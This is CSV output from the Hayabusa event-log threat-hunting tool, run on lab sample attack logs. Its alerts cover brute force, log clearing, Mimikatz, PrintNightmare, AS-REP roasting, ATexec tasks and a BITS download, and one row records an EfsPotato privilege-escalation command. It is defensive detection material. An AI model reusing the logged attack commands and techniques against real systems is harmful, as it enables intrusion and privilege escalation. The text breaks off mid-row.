localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:22.562 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:22.562 +09:00,-,-,medium,Password Guessing Attack,[condition] count() by IpAddress >= 5 in timeframe [result] count:5 IpAddress:- timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_PasswordGuessingDetect.yml,- +2021-05-22 05:43:49.345 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.131 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.607 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:50.866 +09:00,fs01.offsec.lan,4625,low,Logon Failure - Wrong Password,User: admmig@offsec.lan : Type: 8 : Workstation: FS01 : IP Address: - : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-23 06:56:57.685 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-23 06:57:11.842 +09:00,fs01.offsec.lan,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-23 06:57:11.842 +09:00,fs01.offsec.lan,4688,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID4688-netsh helper DLL.evtx +2021-05-26 22:02:27.149 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47156 : LogonID: 0x312517c1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:27.155 +09:00,mssql01.offsec.lan,5145,critical,CVE-2021-1675 Print Spooler Exploitation IPC Access,,rules/sigma/builtin/security/win_exploit_cve_2021_1675_printspooler_security.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:27.155 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.726 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47160 : LogonID: 0x31251a6a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.734 +09:00,mssql01.offsec.lan,5145,critical,CVE-2021-1675 Print Spooler Exploitation IPC Access,,rules/sigma/builtin/security/win_exploit_cve_2021_1675_printspooler_security.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:29.734 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.373 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65333 : LogonID: 0x31251ce4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.375 +09:00,mssql01.offsec.lan,5145,medium,DCERPC SMB Spoolss Named Pipe,,rules/sigma/builtin/security/win_dce_rpc_smb_spoolss_named_pipe.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.379 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65335 : LogonID: 0x31251d11,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.379 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65336 : LogonID: 0x31251d23,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-26 22:02:34.380 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 65337 : LogonID: 0x31251d36,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1557-Man in the middle/ID5145-Print spooler bug abuse.evtx +2021-05-27 05:24:46.570 +09:00,rootdc1.offsec.lan,4768,medium,Possible AS-REP Roasting,Possible AS-REP Roasting,rules/hayabusa/default/alerts/Security/4768_StealOrForgeKerberosTickets_AS-REP-Roasting.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4768-Kerberos AS-REP Roasting.evtx +2021-05-27 05:24:46.570 +09:00,rootdc1.offsec.lan,4768,informational,Kerberos TGT was requested,User: admin-test : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0 : PreAuthType: 0,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4768-Kerberos AS-REP Roasting.evtx +2021-06-01 23:06:34.542 +09:00,fs01.offsec.lan,4720,medium,Local user account created,User: WADGUtilityAccount : SID:S-1-5-21-1081258321-37805170-3511562335-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4720,4698-Fortinet APT group abuse on Windows.evtx" +2021-06-01 23:08:21.225 +09:00,fs01.offsec.lan,4720,medium,Local user account created,User: elie : SID:S-1-5-21-1081258321-37805170-3511562335-1001,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4720,4698-Fortinet APT group abuse on Windows.evtx" +2021-06-01 23:09:38.437 +09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:1 TaskName:\\Microsoft\\SynchronizeTimeZone timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2021-06-03 21:17:56.988 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-03 21:18:12.941 +09:00,fs01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x322e5b7,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-03 21:18:12.942 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 56061 : LogonID: 0x322e5b7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0011-Command and Control/T1090-Proxy/ID4688-netsh port forwarding abuse.evtx +2021-06-04 03:34:12.672 +09:00,fs01.offsec.lan,4104,high,Windows Firewall Profile Disabled,,rules/sigma/powershell/powershell_script/powershell_windows_firewall_profile_disabled.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID800-4103-Firewall disabled.evtx +2021-06-04 04:17:44.873 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID4688-5447-4950-Firewall disabled (command).evtx +2021-06-04 04:39:52.893 +09:00,fs01.offsec.lan,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 04:39:52.895 +09:00,fs01.offsec.lan,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 04:39:53.056 +09:00,fs01.offsec.lan,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.004-Impair Defenses-Disable or Modify System Firewall/ID2003-4950-Firewall disabled.evtx +2021-06-04 17:41:47.982 +09:00,exchange01.offsec.lan,6,high,Failed MSExchange Transport Agent Installation,,rules/sigma/other/msexchange/win_exchange_transportagent_failed.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1505-Server Software Component/ID6-Failed to install an Exchange transport agent.evtx +2021-06-04 17:41:48.041 +09:00,exchange01.offsec.lan,6,high,Failed MSExchange Transport Agent Installation,,rules/sigma/other/msexchange/win_exchange_transportagent_failed.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1505-Server Software Component/ID6-Failed to install an Exchange transport agent.evtx +2021-06-10 04:29:58.239 +09:00,fs01.offsec.lan,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID19-20-WMI registration via PowerLurk.evtx +2021-06-10 04:29:58.240 +09:00,fs01.offsec.lan,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID19-20-WMI registration via PowerLurk.evtx +2021-06-10 04:29:58.392 +09:00,fs01.offsec.lan,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1546-Event Triggered Execution/ID19-20-WMI registration via PowerLurk.evtx +2021-06-11 06:21:20.636 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 51503 : LogonID: 0x5a4175e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.357 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 56594 : LogonID: 0x5a41984,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.383 +09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:2 TaskName:\\bouWFQYO timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2021-06-11 06:21:26.406 +09:00,fs01.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID4698-4699-Fast created & deleted task by ATexec (susp. arg.).evtx +2021-06-11 06:21:26.406 +09:00,fs01.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:26.415 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:26.415 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:29.427 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:29.427 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-11 06:21:29.441 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID5145-Remote schedule task creation (ATexec).evtx +2021-06-11 06:21:29.441 +09:00,fs01.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : File: Temp\bouWFQYO.tmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,4698,4699,5145,4624-ATexec remote trask creation (GLOBAL).evtx" +2021-06-13 15:17:18.087 +09:00,sv-dc.hinokabegakure-no-sato.local,59,informational,Bits Job Creation,Job Title: test : URL: http://192.168.10.254:80/calc.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/YamatoSecurity/T1197_BITS Jobs/Windows-BitsClient.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-17 21:26:51.409 +09:00,LAPTOP-JU4M3I0E,9,medium,Raw Disk Access Using Illegitimate Tools,,rules/sigma/raw_access_thread/sysmon_raw_disk_access_using_illegitimate_tools.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_PetiPotam_etw_rpc_efsr_5_6.evtx +2021-08-23 04:33:38.725 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: c:\temp\EfsPotato.exe whoami : Path: C:\temp\EfsPotato.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.844 +09:00,LAPTOP-JU4M3I0E,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.884 +09:00,LAPTOP-JU4M3I0E,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\temp\EfsPotato.exe whoami,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:38.905 +09:00,LAPTOP-JU4M3I0E,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-08-23 04:33:52.250 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Users\bouss\AppData\Local\Microsoft\OneDrive\21.139.0711.0001\FileCoAuth.exe"" -Embedding : Path: C:\Users\bouss\AppData\Local\Microsoft\OneDrive\21.139.0711.0001\FileCoAuth.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/EfsPotato_sysmon_17_18_privesc_seimpersonate_to_system.evtx +2021-10-19 23:33:13.262 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1201-Password Policy Discovery/ID4688-Password policy discovery via commandline.evtx +2021-10-19 23:40:28.001 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4688-Group discovery via commandline.evtx +2021-10-19 23:42:41.218 +09:00,FS03.offsec.lan,4728,medium,User added to global security group,Member added: - : SID: S-1-5-21-3410678313-1251427014-1131291384-1004 : Group: None : Subject user: admmig : Subject domain: OFFSEC,rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4688-User creation via commandline.evtx +2021-10-19 23:42:41.234 +09:00,FS03.offsec.lan,4720,medium,Local user account created,User: toto3 : SID:S-1-5-21-3410678313-1251427014-1131291384-1004,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4688-User creation via commandline.evtx +2021-10-19 23:44:30.780 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID4688-Network share discovery or connection via commandline.evtx +2021-10-19 23:45:16.394 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: 